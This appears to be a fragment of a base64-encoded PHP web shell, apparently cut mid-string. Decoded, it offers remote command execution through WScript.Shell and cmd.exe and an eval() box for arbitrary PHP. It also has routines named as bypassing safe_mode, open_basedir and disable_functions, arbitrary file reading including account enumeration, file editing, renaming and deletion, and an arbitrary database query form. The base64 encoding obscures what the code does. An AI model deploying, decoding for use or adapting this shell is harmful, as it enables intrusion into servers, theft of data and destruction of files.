nPjxiPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJyBjb2xvcj0nIzQzMzkzNCc+U3VibWl0IGEgUXVlcnk8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPScxNTAnIGJnY29sb3I9JyNFQUVBRUEnPjxmb250IGZhY2U9J0FyaWFsJyBzaXplPScyJz5EQiBOYW1lOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0nMjUwJyBiZ2NvbG9yPScjRUFFQUVBJz48aW5wdXQgdHlwZT10ZXh0IHZhbHVlPSciOw0KaWYgKCFlbXB0eSgkX1JFUVVFU1RbJ2RCJ10pKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9SRVFVRVNUWydkQiddKTsgDQplY2hvICInIG5hbWU9ZEIgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nMTUwJyBiZ2NvbG9yPScjRUFFQUVBJz48Zm9udCBmYWNlPSdBcmlhbCcgc2l6ZT0nMic+UXVlcnk6PC9mb250PjwvdGQ+PHRkIHdpZHRoPScyNTAnIGJnY29sb3I9JyNFQUVBRUEnPjx0ZXh0YXJlYSBuYW1lPXF1ZXJZIHJvd3M9NSBjb2xzPTI3PiI7DQppZiAoIWVtcHR5KCRfUkVRVUVTVFsncXVlclknXSkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygoJF9SRVFVRVNUWydxdWVyWSddKSk7ZWxzZSBlY2hvICdTSE9XIERBVEFCQVNFUyc7IA0KZWNobyAiPC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0nNDAwJyBjb2xzcGFuPScyJyBiZ2NvbG9yPScjRUFFQUVBJz4kaGN3ZDxpbnB1dCBjbGFzcz1idXR0b25zIHR5cGU9c3VibWl0IHZhbHVlPSdTdWJtaXQnIHN0eWxlPSdmbG9hdDogcmlnaHQnPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4kZXQ8L2NlbnRlcj4iOw0KfQ0KDQoNCmZ1bmN0aW9uIHF1ZXJZKCR0eXBlLCRob3N0LCR1c2VyLCRwYXNzLCRkYj0nJywkcXVlcnkpew0KJHJlcz0nJzsNCnN3aXRjaCgkdHlwZSl7DQpjYXNlICdNeVNRTCc6DQppZighZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1teXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKTsNCmlmKCRsaW5rKXsNCmlmKCFlbXB0eSgkZGIpKW15c3FsX3NlbGVjdF9kYigkZGIsJGxpbmspOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkcXVlcnksJGxpbmspOw0KaWYgKCRyZXN1bHQhPTEpew0Kd2hpbGUoJGRhdGE9bXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KJHJlcy49bXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCn0NCm15c3FsX2Nsb3NlKCRsaW5rKTsNCnJldHVybiAkcmVzOw0KfQ0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQppZighZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1tc3NxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKTsNCmlmKCRsaW5rKXsNCmlmKCFlbXB0eSgkZGIpKW1zc3FsX3NlbGVjdF9kYigkZGIsJGxpbmspOw0KJHJlc3VsdD1tc3NxbF9xdWVyeSgkcXVlcnksJGxpbmspOw0Kd2hpbGUoJGRhdGE9bXNzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8bXNzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KJHJlcy49bXNzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCm1zc3FsX2Nsb3NlKCRsaW5rKTsNCnJldHVybiAkcmVzOw0KfQ0KYnJlYWs7DQpjYXNlICdPcmFjbGUnOg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSlyZXR1cm4gMDsNCiRsaW5rPW9jaWxvZ29uKCR1c2VyLCRwYXNzLCRkYik7DQppZigkbGluayl7DQokc3RtPW9jaXBhcnNlKCRsaW5rLCRxdWVyeSk7DQpvY2lleGVjdXRlKCRzdG0sT0NJX0RFRkFVTFQpOw0Kd2hpbGUoJGRhdGE9b2NpZmV0Y2hpbnRvKCRzdG0sJGRhdGEsT0NJX0FTU09DK09DSV9SRVRVUk5fTlVMTFMpKSRyZXMuPWltcGxvZGUoJ3wtfC18LXwtfC18JywkZGF0YSkuJ3wrfCt8K3wrfCt8JzsNCiRyZXMuPSdbK11bK11bK10nOw0KZm9yKCRpPTA7JGk8b2NpX251bV9maWVsZHMoJHN0bSk7JGkrKykNCiRyZXMuPW9jaV9maWVsZF9uYW1lKCRzdG0sJGkpLidbLV1bLV1bLV0nOw0KcmV0dXJuICRyZXM7DQp9DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKXJldHVybiAwOw0KJGxpbms9cGdfY29ubmVjdCgiaG9zdD0kaG9zdCBkYm5hbWU9JGRiIHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MiKTsNCmlmKCRsaW5rKXsNCiRyZXN1bHQ9cGdfcXVlcnkoJGxpbmssJHF1ZXJ5KTsNCndoaWxlKCRkYXRhPXBnX2ZldGNoX3JvdygkcmVzdWx0KSkkcmVzLj1pbXBsb2RlKCd8LXwtfC18LXwtfCcsJGRhdGEpLid8K3wrfCt8K3wrfCc7DQokcmVzLj0nWytdWytdWytdJzsNCmZvcigkaT0wOyRpPHBnX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykNCiRyZXMuPXBnX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSkuJ1stXVstXVstXSc7DQpwZ19jbG9zZSgkbGluayk7DQpyZXR1cm4gJHJlczsNCn0NCmJyZWFrOw0KY2FzZSAnREIyJzoNCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2RiMl9jb25uZWN0JykpcmV0dXJuIDA7DQokbGluaz1kYjJfY29ubmVjdCgkZGIsJHVzZXIsJHBhc3MpOw0KaWYoJGxpbmspew0KJHJlc3VsdD1kYjJfZXhlYygkbGluaywkcXVlcnkpOw0Kd2hpbGUoJGRhdGE9ZGIyX2ZldGNoX3JvdygkcmVzdWx0KSkkcmVzLj1pbXBsb2RlKCd8LXwtfC18LXwtfCcsJGRhdGEpLid8K3wrfCt8K3wrfCc7DQokcmVzLj0nWytdWytdWytdJzsNCmZvcigkaT0wOyRpPGRiMl9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspDQokcmVzLj1kYjJfZmllbGRfbmFtZSgkcmVzdWx0LCRpKS4nWy1dWy1dWy1dJzsNCmRiMl9jbG9zZSgkbGluayk7DQpyZXR1cm4gJHJlczsNCn0NCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlvbiBieXdzeW0oJGZpbGUpew0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKXtlY2hvICJGdW5jdGlvbiBTeW1saW5rIE5vdCBFeGlzdCI7fQ0KDQppZighaXNfd3JpdGFibGUoIi4iKSkNCglkaWUoIm5vdCB3cml0YWJsZSBkaXJlY3RvcnkiKTsNCiRsZXZlbD0wOw0KZm9yKCRhcz0wOyRhczwkZmFrZWRlcDskYXMrKyl7DQoJaWYoIWZpbGVfZXhpc3RzKCRmYWtlZGlyKSkNCgkJbWtkaXIoJGZha2VkaXIpOw0KCWNoZGlyKCRmYWtlZGlyKTsNCn0NCndoaWxlKDE8JGFzLS0pIGNoZGlyKCIuLiIpOw0KJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7DQpmb3IoJGE9MDskYTxjb3VudCgkaGFyZHN0eWxlKTskYSsrKXsNCglpZighZW1wdHkoJGhhcmRzdHlsZVskYV0pKXsNCgkJaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVbJGFdKSkgDQoJCQlta2RpcigkaGFyZHN0eWxlWyRhXSk7DQoJCWNoZGlyKCRoYXJkc3R5bGVbJGFdKTsNCgkJJGFzKys7DQp9fQ0KJGFzKys7DQp3aGlsZSgkYXMtLSkNCgljaGRpcigiLi4iKTsNCkBybWRpcigiZmFrZXN5bWxpbmsiKTsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpAc3ltbGluayhzdHJfcmVwZWF0KCRmYWtlZGlyLiIvIiwkZmFrZWRlcCksImZha2VzeW1saW5rIik7DQp3aGlsZSgxKQ0KCWlmKHRydWU9PShAc3ltbGluaygiZmFrZXN5bWxpbmsvIi5zdHJfcmVwZWF0KCIuLi8iLCRmYWtlZGVwLTEpLiRmaWxlLCAic3ltbGluayIuJG51bSkpKSBicmVhazsNCgllbHNlICRudW0rKzsNCkB1bmxpbmsoImZha2VzeW1saW5rIik7DQpta2RpcigiZmFrZXN5bWxpbmsiKTsNCn0NCmZ1bmN0aW9uIGJ5cGN1KCRmaWxlKXsNCiRsZXZlbD0wOw0KDQppZighZmlsZV9leGlzdHMoImZpbGU6IikpDQoJbWtkaXIoImZpbGU6Iik7DQpjaGRpcigiZmlsZToiKTsNCiRsZXZlbCsrOw0KDQokaGFyZHN0eWxlID0gZXhwbG9kZSgiLyIsICRmaWxlKTsNCg0KZm9yKCRhPTA7JGE8Y291bnQoJGhhcmRzdHlsZSk7JGErKyl7DQoJaWYoIWVtcHR5KCRoYXJkc3R5bGVbJGFdKSl7DQoJCWlmKCFmaWxlX2V4aXN0cygkaGFyZHN0eWxlWyRhXSkpIA0KCQkJbWtkaXIoJGhhcmRzdHlsZVskYV0pOw0KCQljaGRpcigkaGFyZHN0eWxlWyRhXSk7DQoJCSRsZXZlbCsrOw0KCX0NCn0NCg0Kd2hpbGUoJGxldmVsLS0pIGNoZGlyKCIuLiIpOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZpbGU6ZmlsZTovLy8iLiRmaWxlKTsNCg0KZWNobyAnPEZPTlQgQ09MT1I9IlJFRCI+IDx0ZXh0YXJlYSByb3dzPSI0MCIgY29scz0iMTIwIj4nOw0KDQppZihGQUxTRT09Y3VybF9leGVjKCRjaCkpDQoJZGllKCc+U29ycnkuLi4gRmlsZSAnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLicgZG9lc250IGV4aXN0cyBvciB5b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zLicpOw0KDQplY2hvICcgPC90ZXh0YXJlYT4gPC9GT05UPic7DQoNCmN1cmxfY2xvc2UoJGNoKTsNCn0NCmlmICgkX1JFUVVFU1RbJ2J5cGN1J10pew0KYnlwY3UoJF9SRVFVRVNUWydieXBjdSddKTsNCn0NCmlmKCRfUkVRVUVTVFsnZG8nXT09ImJ5cGFzc2NtZCIpew0KaWYoJF9QT1NUWydieWN3J10pew0KZWNobyAkX1BPU1RbJ2J5Y3cnXTsNCiR3c2ggPSBuZXcgQ09NKCdXJy4nU2NyJy4naXAnLid0LnNoZScuJ2xsJyk7DQogICAgICAgICAgICAkZXhlYyA9ICR3c2gtPmV4ZWMgKCJjbSIuImQuZSIuInhlIC9jICIuJF9QT1NUWydieWN3J10uIiIpOw0KICAgICAgICAgICAgJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCiAgICAgICAgICAgICRzdGNvbSA9ICRzdGRvdXQtPlJlYWRBbGwoKTt9DQoJCQkNCmVjaG8gJGhlYWQuJzxwIGFsaWduPSJjZW50ZXIiPjx0ZXh0YXJlYSByb3dzPSIxMyIgbmFtZT0ic2hvd2JzZCIgY29scz0iNzciPic7aWYoJF9QT1NUWydieXdzJ10pe3Bhc3N0aHJ1KCJcXCIuJF9QT1NUWydieXdzJ10pO30gZWNobyAkc3Rjb20uJzwvdGV4dGFyZWE+PGhyPjxjZW50ZXI+QnlwYXNzIFNhZmVfTW9kZSBBbmQgRGlzYWJsZV9GdW5jdGlvbnMgSW4gV2luZG93cyBTZXJ2ZXI8YnI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9Ijk1MCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGlkPSJ0YWJsZTQiIGNlbGxwYWRkaW5nPSI1Ij48dHI+PHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsgZm9udC13ZWlnaHQ6NzAwIj4nLiRmb3JtcC4nPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPSJieXBhc3NjbWQiIG5hbWU9ZG8+Q29tbWFuZCA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnljdyBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9ImVYZWN1dGUiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT5CeXBhc3MgU2FmZV9Nb2RlIFdpbmRvd3MgU2VydmVyPGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0NvbW1hbmQgPC9mb250PjwvdGQ+PHRkIHdpZHRoPSI3NTAiPjxpbnB1dCBuYW1lPWJ5d3Mgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJlWGVjdXRlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT0iYnlwYXNzY21kIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Jy4kZW5kO2V4aXQ7Ow0KfQ0KaWYoJF9SRVFVRVNUWydkbyddPT0iYnlwYXNzZGlyIil7DQppZigkX1BPU1RbJ2J5b2MnXSl7DQppZihjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ2J5b2MnXSwgZ2V0Y3dkKCkuIi8iLiJwZWppLnR4dCIpKXsNCiRib3BlbnM9IkJ5cGFzcyBTdWNjZXNmdWxsIFBseiBSZWFkIEZpbGUgUGVqaS50eHQgSW4gVGhpcyBGb2xkZXIiOw0KfWVsc2V7JGJvcGVucz0iQ2FuIE5vdCBCeXBhc3MgVGhpcyI7fQ0KfQ0KaWYoJF9QT1NUWydieWZjJ10pew0KY3VybF9pbml0KCJmaWxlOi8vLyIuJF9QT1NUWydieWZjJ10uIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJTEVfXyk7DQokZGViZmM9Y3VybF9leGVjKCRjaCk7DQp9DQppZigkX1BPU1RbJ2J5ZXRjJ10pew0KZm9yKCRieWU9MDskYnllPDQwMDAwOyRieWUrKyl7DQokc2JlcCA9JHNiZXAuIHBvc2l4X2dldHB3dWlkKCRieWUpOw0KfX0NCmlmKCRfUE9TVFsnYnlmYzknXSl7DQplY2hvICJub3Qgc3Vjc2Z1bGwiOw0KfQ0KaWYoJF9SRVFVRVNUWydieXN5bWwnXSl7DQokZmlsZT0kX1JFUVVFU1RbJ2J5c3ltbCddOw0KYnl3c3ltKCRmaWxlKTsNCn0NCmVjaG8gJGhlYWQuJzxwIGFsaWduPSJjZW50ZXIiPjx0ZXh0YXJlYSByb3dzPSIxMyIgbmFtZT0ic2hvd2JzZCIgY29scz0iNzciPic7aWYoJF9QT1NUWydieXdzJ10pe3Bhc3N0aHJ1KCJcXCIuJF9QT1NUWydieXdzJ10pO31pZihpc3NldCgkc2JlcCkpe2ZvcigkZmJlPTA7JGZiZTxjb3VudCgkc2JlcCk7JGZiZSsrKXtlY2hvICRzYmVwWyRmYmVdO319IGlmKGlzc2V0KCRkZWJmYykpe30gZWNobyAkYm9wZW5zLic8L3RleHRhcmVhPjxocj48Y2VudGVyPkJ5cGFzcyBTYWZlX01vZGUgQW5kIE9wZW5fYmFzZWRpciBXaXRoIEJ1ZyBDb3B5KFpsaWIpIFdvcmtlZCBJbiA0LjQuMiAuLiA1LjEuMjxicj48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iOTUwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgaWQ9InRhYmxlNCIgY2VsbHBhZGRpbmc9IjUiPjx0cj48dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0Ij4nLiRmb3JtcC4nPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPSJieXBhc3NkaXIiIG5hbWU9ZG8+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPkFkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlvYyBzaXplPTUwID48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJyZWFkIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPkJ5cGFzcyBPcGVuX2Jhc2VkaXIgQW5kIFJlYWQgRmlsZSBXaXRoIEJ1ZyBDdXJsIFdvcmtlZCBJbiBQSFAgNC40LjIgYW5kIDUuMS40PGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0FkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlmYyBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9ImVYZWN1dGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48aHI+QnlwYXNzIE9wZW5fYmFzZWRpciBBbmQgUmVhZCBGaWxlIFdpdGggQnVnIEN1cmwgV29ya2VkIEluIFBIUCA0LlggLi4uIDUuMi45PGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0FkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlmYzkgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJlWGVjdXRlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT0iYnlwYXNzZGlyIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPkJ5cGFzcyAvRXRjL1Bhc3N3ZDxicj4nLiRmb3JtcC4nPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlID0iUmVhZCBQYXNzd2QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWJ5ZXRjIHZhbHVlPSJsb2wiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjwvZm9ybT48aHI+QnlwYXNzIFdpdGggaW5pX3Jlc3RvcmUnLiRmb3JtcC4nPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlID0iUmVhZCBGaWxlIj48aW5wdXQgbmFtZT1yZmlsaSB2YWx1ZT0iUGVqaWpvbiIgdHlwZT1oaWRkZW4+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9ImJ5cGFzc2RpciI+PC9mb3JtPjxocj5CeXBhc3MgV2l0aCBTeW1saW5rIFdvcmtlZCBJbiA1LngueCA1LjIuMTEgV2l0aCBCdWcgU3ltbGluazx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJzwvZm9udD48L3RkPjx0ZCB3aWR0aD0iNzUwIj48aW5wdXQgbmFtZT1ieXN5bWwgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJSZWFkIEZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjxpbnB1dCBuYW1lPXJmaWxpIHZhbHVlPSJQZWppam9uIiB0eXBlPWhpZGRlbj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPicuJGZvcm1wLidCeXBhc3MgU2FmZSBBbmQgT3Blbl9iYXNlZGlyIFdpdGggQnVnIEN1cmwgV29ya2VkIEluIDQueC54IC4uLiA1LjIuOTx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJzwvZm9udD48L3RkPjx0ZCB3aWR0aD0iNzUwIj48aW5wdXQgbmFtZT1ieXBjdSBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9IlJlYWQgRmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9ImJ5cGFzc2RpciI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPicuJGVuZDtleGl0OzsNCg0KDQoNCg0KfQ0KZnVuY3Rpb24gcHJpbnRkcml2ZSgpew0KZ2xvYmFsICRzbGFzaDsNCmZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICR0ZW1wZHJpdmUpIHsNCmlmIChpc19kaXIoJHRlbXBkcml2ZS4iOiIuJHNsYXNoKSl7DQokYWRyaT0kdGVtcGRyaXZlLiI6Ii4kc2xhc2g7DQokZHJpdmVhPSRkcml2ZWEuJzxhIGhyZWY9Ij9hZGRyZXNzPScuJGFkcmkuJyI+PGZvbnQgc2l6ZT0xPicuJHRlbXBkcml2ZS4nOicuJHNsYXNoLicgPC9hPjwvZm9udD4nOw0KfQ0KfQ0KcmV0dXJuICRkcml2ZWE7DQp9DQppZigkX1BPU1RbJ25hbWVyZW4nXSAmJiAkX1BPU1RbJ2FkZHJlc3NyZW4nXSl7DQppZihpc193cml0YWJsZSgkX1JFUVVFU1RbJ2FkZHJlc3NyZW4nXSkpew0KDQpyZW5hbWUoJF9QT1NUWydhZGRyZXNzcmVuJ10sJF9QT1NUWyduYW1lcmVuJ10pO2FsZXJ0KCJSZW5hbWUgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn0NCmlmKCRfR0VUWydkbyddPT0iZGVsZXRlIil7DQoNCmlmICgkX0dFVFsndHlwZSddPT0iZGlyIil7DQppZihpc193cml0YWJsZSgkX1JFUVVFU1RbJ2FkZHJlc3MnXSkpew0KJGRpcj0kX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddOw0KZGVsZXRlRGlyZWN0b3J5KCRkaXIpOw0KYWxlcnQoIkRlbGV0ZWQgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn1lbHNlaWYoJF9HRVRbJ3R5cGUnXT09ImZpbGUiKXsNCmlmKGlzX3dyaXRhYmxlKCRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10pKXsNCnVubGluaygkX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddKTthbGVydCgiRGVsZXRlZCBTdWNjZXNzZnVsICEiKTsNCn1lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fQ0KfQ0KfQ0KaWYoJF9QT1NUWydmZWRpdCddICYmICRfUE9TVFsnbmFtZWZlJ10pew0KaWYoaXNfd3JpdGFibGUoJF9SRVFVRVNUWydhZGRyZXNzJ10pKXsNCg0KDQokb3BlbnNhdmU9Zm9wZW4oJF9QT1NUWydhZGRyZXNzJ10uJHNsYXNoLiRfUE9TVFsnbmFtZWZlJ10sInciKTsNCmZ3cml0ZSgkb3BlbnNhdmUsaHRtbF9lbnRpdHlfZGVjb2RlKCRfUE9TVFsnZmVkaXQnXSkpOw0KZmNsb3NlKCRvcGVuc2F2ZSk7YWxlcnQoIkZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn0NCmlmICgkX1BPU1RbJ2V2YWxzb3VyY2UnXSl7DQoNCmV2YWwoJF9QT1NUWydldmFsc291cmNlJ10pOw0KfQ0KaWYoJF9HRVRbJ2RvJ109PSJldmFsIil7DQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+PHRleHRhcmVhIHJvd3M9IjE5IiBuYW1lPSJldmFsc291cmNlIiBjb2xzPSI4NyI+PC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIGVYZWN1dGUgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmKCRfR0VUWydkbyddPT0iaW5mbyIpew0KDQppZihpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJykpew0KJHJlZ2lzdGVyZz0iRW5hYmxlIjsNCn1lbHNlew0KJHJlZ2lzdGVyZz0iZGlzYWJsZSI7DQp9DQppZihleHRlbnNpb25fbG9hZGVkKCdjdXJsJykpew0KJGN1cmxzPSJFbmFibGUiOw0KfWVsc2V7DQokY3VybHM9ImRpc2FibGUiOw0KfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKXsNCiRkYl9vbiA9ICJNeXNxbCA6IE9uIjsNCn07DQppZihAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jykpew0KJGRiX29uID0gIk1zc3FsIDogT24iOw0KfTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSl7DQokZGJfb24gPSAiUG9zdGdyZVNRTCA6IE9uIjsNCn07aWYoQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSl7DQokZGJfb24gPSAiT3JhY2xlIDogT24iOw0KfTsNCg0KZWNobyAkaGVhZC4iPGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz5PcGVyYXRpbmcgU3lzdGVtIDogIi5waHBfdW5hbWUoKS4iPGJyPlNlcnZlciBOYW1lIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIjxicj5EaXNhYmxlX0Z1bmN0aW9ucyA6ICIuJGRpc2FibGVmLiI8YnI+U2FmZV9Nb2RlIDogIi4kc2FmZV9tb2Rlcy4iPGJyPk9wZW5iYXNlX2RpciA6ICIuaW5pX2dldCgnb3BlbmJhc2VfZGlyJykuIjxicj5QaHAgVmVyc2lvbiA6ICIucGhwdmVyc2lvbigpLiI8YnI+